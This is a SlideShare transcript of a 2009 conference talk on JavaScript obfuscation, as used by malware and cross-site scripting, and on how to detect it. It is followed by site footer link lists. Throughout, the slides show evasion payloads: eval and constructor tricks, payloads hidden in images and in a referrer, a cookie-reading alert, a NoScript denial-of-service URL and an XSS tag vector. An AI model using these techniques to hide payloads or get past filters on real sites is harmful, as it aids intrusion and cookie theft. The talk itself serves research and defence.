SlideShare a Scribd company logo
JavaScript
From Hell
A Talk by Mario Heiderich
Confidence 2.0 Warsaw 2009 AD
The Talk
●
Unfriendly JavaScript
●
A short travel in time
●
Obfuscation today
●
Possible counter measures
●
The future
Credits First
●
Gareth Heyes (buy him a beer – here's here rite now)
●
Eduardo Vela
●
David Lindsay
●
Yosuke Hasegawa
●
And many others...
History Lessons
●
The origin of JavaScript in 1995
●
Netscape Navigator 2.0
●
LiveScript
●
ECMA 262
●
JScript
●
Implementations and Revisions
● Browserwars
Shadowy Existence
●
Frowned upon for a long time
same with cookies :)
●
Users trained for switching off JavaScript
●
Vulnerable browsers
●
Spam, Phishing, Malware
●
Until a renaissance took place...
Renaissance
●
The “New Web“
●
Websites become applications
●
Rich Internet Applications
●
Widgets and other out-of-band applications
●
XMLHttpRequest paves the way
●
AJAX and the Web 2.0
Today
● JavaScript and JScript moved closer
● ActionScript and other implementations
● V8, SpiderMonkey, Tamarin... first IE9 versions soon to
come
● JavaScript 1.7, 1.8, 1.8.1 and 2.0
● Complex and super-dynamic scripting language
● Almost irreplace for modern webapps
JavaScript and Bad-Ware
●
JavaScript and browser exploits
●
Websites from Hell
●
JavaScript in PDFs
●
XSS, CSRF and client side SQLI
●
NoScript, IE8 XSS Filter, Webkit XSS Filter
●
Content Matching, Live-Deobfuscation, Sandboxing
String obfuscation
●
It's full of evals
●
eval(), execScript(), Function(), Script()
● _FirebugConsole.evaluate()
●
Entities, special chars and shortcuts
●
XOR, “Encryption“ and Base64
●
Examples
Examples
● µ = self ['x61lert'], µ(1)
● location['href']=
'javascript:u0061l'+
String.fromCharCode(101)+'rt(1)'
● top[<>alert</>](1)
● eval(unescape('%61')+/lert(1)/[-1])
Solutions?
●
String obfuscation easy to break
●
Pattern analysis
●
Sandboxing
●
External tools like Malzilla, Hackvertor
●
Code analysis w/o execution
● toSource(int formatting)
A small Crash-Course
●
Take some heavily obfuscated code
●
Maybe generated by commercial obfuscators
●
Break it
●
Realize string obfuscation can't work
●
Demo
Let's do this
●
https://www.2checkout.com/static/checkout/javascript/us
● u0009 f{f`9#evm`wjlu006d+slu0070pjaofp*#x
u0075bo8u0009~#`bw`k#+f*u0023x#~u0009~ qfwvqm#!!8
u007e/ u0009 olbg@lnsp9#evmu0060wjlm+*#x
●
Deobfuscation in FireBug
● a=function(){%code%}
● a.toSource(1)
●
Replace last eval by an alert
Limitations and alternatives
●
String Obfuscated Code == clear text
●
As long as we have an eval
●
Alternatives
●
Changing the code structure
●
Use browser and implementation bugs
●
Use less-/undocumented features
Examples
●
Using regular expressions as functions
● (/padding/)(/payload/)
●
DOM Objekte can be functions too
● !location(payload)
●
Destructuring assignment
● [,,padding]=[,,payload]
● [,location]=[,'javascript:alert(1)']
● [,a,a(1)]=[,alert]
More Examples
●
Execute code without parenthesis
● {x:window.onunload=alert}
● ''+{toString:alert}
●
Prototypes and call()
● (1,[].sort)()[[].join.call('at','ler')](1)
●
Empty return values
● {x:top['al'+new Array+'ert'](1)}
Advanced String Obfuscation
●
Generate strings from multibyte characters
● String.charCodeAt(' 朱 ').toString(16)
●
Generate strings from numbers
● top[(Number.MAX_VALUE/45268).toString(36)
.slice(15,19)]
((Number.MAX_VALUE/99808).toString(36)
.slice(71,76)+'("XSS")')
●
Reverse base64
● window['a'+btoa(' êí')](1)•
Quiztime!
●
What's that?
The Code
●
Generating strings from RGB color values
function a() {
c=document.getElementById("c"),x=c.getContext("2d"),
i=document.getElementById("i")
x.drawImage(i, 0, 0),d=x.getImageData(0, 0, 3, 3),
p=''
for(y in d.data) {
if(d.data[y] > 0 && d.data[y] < 255) {
p+=String.fromCharCode(d.data[y])
}
}
eval(p)
}
Or even more
●
CSS color values, background URIs etc. etc.
● document.styleSheets[0].cssRules[0]...
●
Using image binaries to hide payload
●
Canvas helps a lot
● escape(atob(document.createElement('canvas')
.toDataURL('image/jpeg').slice(23)))
Talking about Canvas
●
Get binary same-domain image data via JavaScript
●
Making use of the toDataURL() method
●
Like this
● document.createElement('canvas')
.toDataURL('image/jpeg')
●
Think Captcha – or just plain payload obfuscation
Payload via TinyURL
●
Payload from base64-ed URL suffix
●
Hidden in the referrer
●
http://tinyurl.com/YWxlcnQoZG9jdW1lbnQuY29va2llKQ
● eval(atob(document.referrer.split(///)[3]))
Strings made out of Nothing
●
AKA No-Alnum Scene“ :)„
●
Up- and downcast
●
{}+'' becomes „[object Object]“
●
!''+'' becones „false“
●
-~'' becomes 1 and -~-~'' becoms 2
Retrieving DOM Objects
●
Hard to detect payload execution
●
Payload hidden in DOM variables
●
Examples
● (1,[]['sort'])()['alert'](1)
● [].constructor.constrcutor()()['alert'](1)
Constructors and More
●
Some examples
●
Perfect for testing against sandboxes
● /./.__proto__.__proto__.constructor(alert)(1)
● Text.constructor([alert][0])(1)
● Window.__parent__[/alert/.source](1)
● Attr.__proto__.constructor.apply(0,[alert])(1)
● XULCommandEvent.__parent__
RTL/LTR Obfuscation
●
RTL/LTR Characters can be utilized to completely
destroy the code readability
●
Hard to spot – and many variations
Morphing Code
●
Code changes each time being delivered
●
JavaScript generates morphing JavaScript
●
Payload source again is the DOM
●
Base64 from document.body.innerHTML
●
Looping over window
●
etc. etc..
Example
●
Own prototype
● y=[[x=btoa('alert(1)')]
+''.split('',x.length),z=''];
for(var i in top) z+=btoa(i+top[i]
+Math.random(delete y[0]))
for(var i=0;i<x.length;i++)
y.push('z['+z.indexOf(x[i])+']')
eval('eval(atob('+y.join('+').slice(2)+'))')
Another Example
●
Gareth Heyes' Hackvertor
●
http://www.businessinfo.co.uk/labs/hackvertor/hackverto
How to detect?
●
Almost impossible
●
Payload stays hidden even if the trigger was found
●
Sandboxing and runtime-analysis
●
See NoScript and others
●
Limitations and new risks
●
Attacks against the sandbox, data leakage, DoS
DoS against NoScript
http://www.spiegel.de/politik/ausland/0,1518,650897
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,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,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,alert(1),0
0.html
PoC!
JavaScript of tomorrow
●
More features
●
Even more dynamic and slim code
●
Let Statements, Generator Expressions, more native data
types, XML, more DOM objects and methods
●
Operator overloading
●
Operator Object, first drafts around for quite some time
Examples
●
Expression Closures
● (function()alert(1))()
● (function($)$(1))(alert)
●
Generator Expressions
● for([]in[$=alert])$(2)
● $=[(alert)for([]in[0])][0],$(1)
●
Iterators
● Iterator([$=alert]).next()[1],$(1)
The User Agents
●
Native Client
●
WebGL
●
WebOS using Google FS and seemlessly integrated
Chrome
●
DOM Storage and file system access
●
Back to the fat client
Coming up
●
Malware still using rather immature techniques
●
String obfusc. all over the place
●
Generators for really obfuscated code
●
A challenge for WAF vendors and AVs
●
More code analysis and sandboxing
Questions and Comments
● Feedback welcome
● Even after talk and event
● mario.heiderich@gmail.com
● http://mario.heideri.ch
● http://twitter.com/0x6D6172696F
Goodies!
●
Weird labels in Opera
● <script>=alert;(1)</script>͞ ͞
● <script> =alert,0? =1: (2)</script>⌃․ ․ ⌃․
● <script>ۘ=alert,ۘ(3)</script>
●
A Firefox special - tags inside closing tags
●
No > is used to close a tag for FF – enabling this;
● </p/<img/src=! onerror=alert(1)>
Thank you very much :)

More Related Content

PDF
Modélisation de données pour MongoDB
PDF
Plsql
PDF
OpenCL Programming 101
PDF
Support de cours Spring M.youssfi
PDF
Chapitre 4-Apprentissage non supervisé (1) (1).pdf
PDF
In the DOM, no one will hear you scream
PPTX
JSON and the Oracle Database
PDF
Spark (v1.3) - Présentation (Français)
Modélisation de données pour MongoDB
Plsql
OpenCL Programming 101
Support de cours Spring M.youssfi
Chapitre 4-Apprentissage non supervisé (1) (1).pdf
In the DOM, no one will hear you scream
JSON and the Oracle Database
Spark (v1.3) - Présentation (Français)

What's hot (20)

PDF
mysql 8.0 architecture and enhancement
PDF
openCypher: Introducing subqueries
PDF
Solr CDCR (Cross Data Center Replication) in AWS
PPTX
Introduction to NoSQL
PDF
Sql3
PPT
Hadoop Map Reduce
PDF
Intelligence Artificielle-course -S1.pdf
PPTX
Oracle DB Performance Tuning Tips
PDF
Technologies pour le Big Data
PPTX
Java version 11 - les 9 nouveautes
PDF
qCUDA-ARM : Virtualization for Embedded GPU Architectures
PDF
Oracle RAC 19c: Best Practices and Secret Internals
PDF
Scylla Summit 2017: How to Use Gocql to Execute Queries and What the Driver D...
PPTX
Oracle database performance tuning
PDF
ClickHouse Keeper
PDF
A Day in the Life of a ClickHouse Query Webinar Slides
PPTX
Scaling for Performance
DOC
Analyzing awr report
PDF
How Kafka Powers the World's Most Popular Vector Database System with Charles...
PPTX
Indexing with MongoDB
mysql 8.0 architecture and enhancement
openCypher: Introducing subqueries
Solr CDCR (Cross Data Center Replication) in AWS
Introduction to NoSQL
Sql3
Hadoop Map Reduce
Intelligence Artificielle-course -S1.pdf
Oracle DB Performance Tuning Tips
Technologies pour le Big Data
Java version 11 - les 9 nouveautes
qCUDA-ARM : Virtualization for Embedded GPU Architectures
Oracle RAC 19c: Best Practices and Secret Internals
Scylla Summit 2017: How to Use Gocql to Execute Queries and What the Driver D...
Oracle database performance tuning
ClickHouse Keeper
A Day in the Life of a ClickHouse Query Webinar Slides
Scaling for Performance
Analyzing awr report
How Kafka Powers the World's Most Popular Vector Database System with Charles...
Indexing with MongoDB
Ad

Similar to JavaScript From Hell - CONFidence 2.0 2009 (20)

PDF
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
PDF
JavascriptMVC: Another choice of web framework
PDF
Mender.io | Develop embedded applications faster | Comparing C and Golang
PDF
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
PPTX
go language- haseeb.pptx
PPTX
PPTX
An overview of node.js
PPTX
Go Is Your Next Language — Sergii Shapoval
PDF
Structured web programming
PDF
Introduction to Docker, December 2014 "Tour de France" Bordeaux Special Edition
PPTX
Learn TypeScript from scratch
PDF
An Abusive Relationship with AngularJS
PDF
A Gentle Introduction to Docker and Containers
PPTX
Session-4.pptx
PDF
Node azure
ODP
Javascript Update May 2013
PPTX
Go bei der 4Com GmbH & Co. KG
PDF
The State of the Veil Framework
PDF
Implementing new WebAPIs
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
JavascriptMVC: Another choice of web framework
Mender.io | Develop embedded applications faster | Comparing C and Golang
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
go language- haseeb.pptx
An overview of node.js
Go Is Your Next Language — Sergii Shapoval
Structured web programming
Introduction to Docker, December 2014 "Tour de France" Bordeaux Special Edition
Learn TypeScript from scratch
An Abusive Relationship with AngularJS
A Gentle Introduction to Docker and Containers
Session-4.pptx
Node azure
Javascript Update May 2013
Go bei der 4Com GmbH & Co. KG
The State of the Veil Framework
Implementing new WebAPIs
Ad

More from Mario Heiderich (15)

PDF
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
PDF
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
PDF
The innerHTML Apocalypse
PDF
Scriptless Attacks - Stealing the Pie without touching the Sill
PDF
Locking the Throneroom 2.0
PDF
The Image that called me - Active Content Injection with SVG Files
PDF
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
PDF
Dev and Blind - Attacking the weakest Link in IT Security
PDF
HTML5 - The Good, the Bad, the Ugly
PDF
I thought you were my friend - Malicious Markup
PDF
The Future of Web Attacks - CONFidence 2010
PDF
Web Wuermer
PDF
The Ultimate IDS Smackdown
PDF
I thought you were my friend!
PDF
Generic Attack Detection - ph-Neutral 0x7d8
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
The innerHTML Apocalypse
Scriptless Attacks - Stealing the Pie without touching the Sill
Locking the Throneroom 2.0
The Image that called me - Active Content Injection with SVG Files
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Dev and Blind - Attacking the weakest Link in IT Security
HTML5 - The Good, the Bad, the Ugly
I thought you were my friend - Malicious Markup
The Future of Web Attacks - CONFidence 2010
Web Wuermer
The Ultimate IDS Smackdown
I thought you were my friend!
Generic Attack Detection - ph-Neutral 0x7d8

Recently uploaded (20)

PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Machine learning based COVID-19 study performance prediction
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Empathic Computing: Creating Shared Understanding
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
KodekX | Application Modernization Development
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PPT
Teaching material agriculture food technology
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
DOCX
The AUB Centre for AI in Media Proposal.docx
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Agricultural_Statistics_at_a_Glance_2022_0.pdf
20250228 LYD VKU AI Blended-Learning.pptx
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Machine learning based COVID-19 study performance prediction
Reach Out and Touch Someone: Haptics and Empathic Computing
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Empathic Computing: Creating Shared Understanding
Building Integrated photovoltaic BIPV_UPV.pdf
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
The Rise and Fall of 3GPP – Time for a Sabbatical?
Network Security Unit 5.pdf for BCA BBA.
Diabetes mellitus diagnosis method based random forest with bat algorithm
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
KodekX | Application Modernization Development
Dropbox Q2 2025 Financial Results & Investor Presentation
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Teaching material agriculture food technology
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
The AUB Centre for AI in Media Proposal.docx
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...

JavaScript From Hell - CONFidence 2.0 2009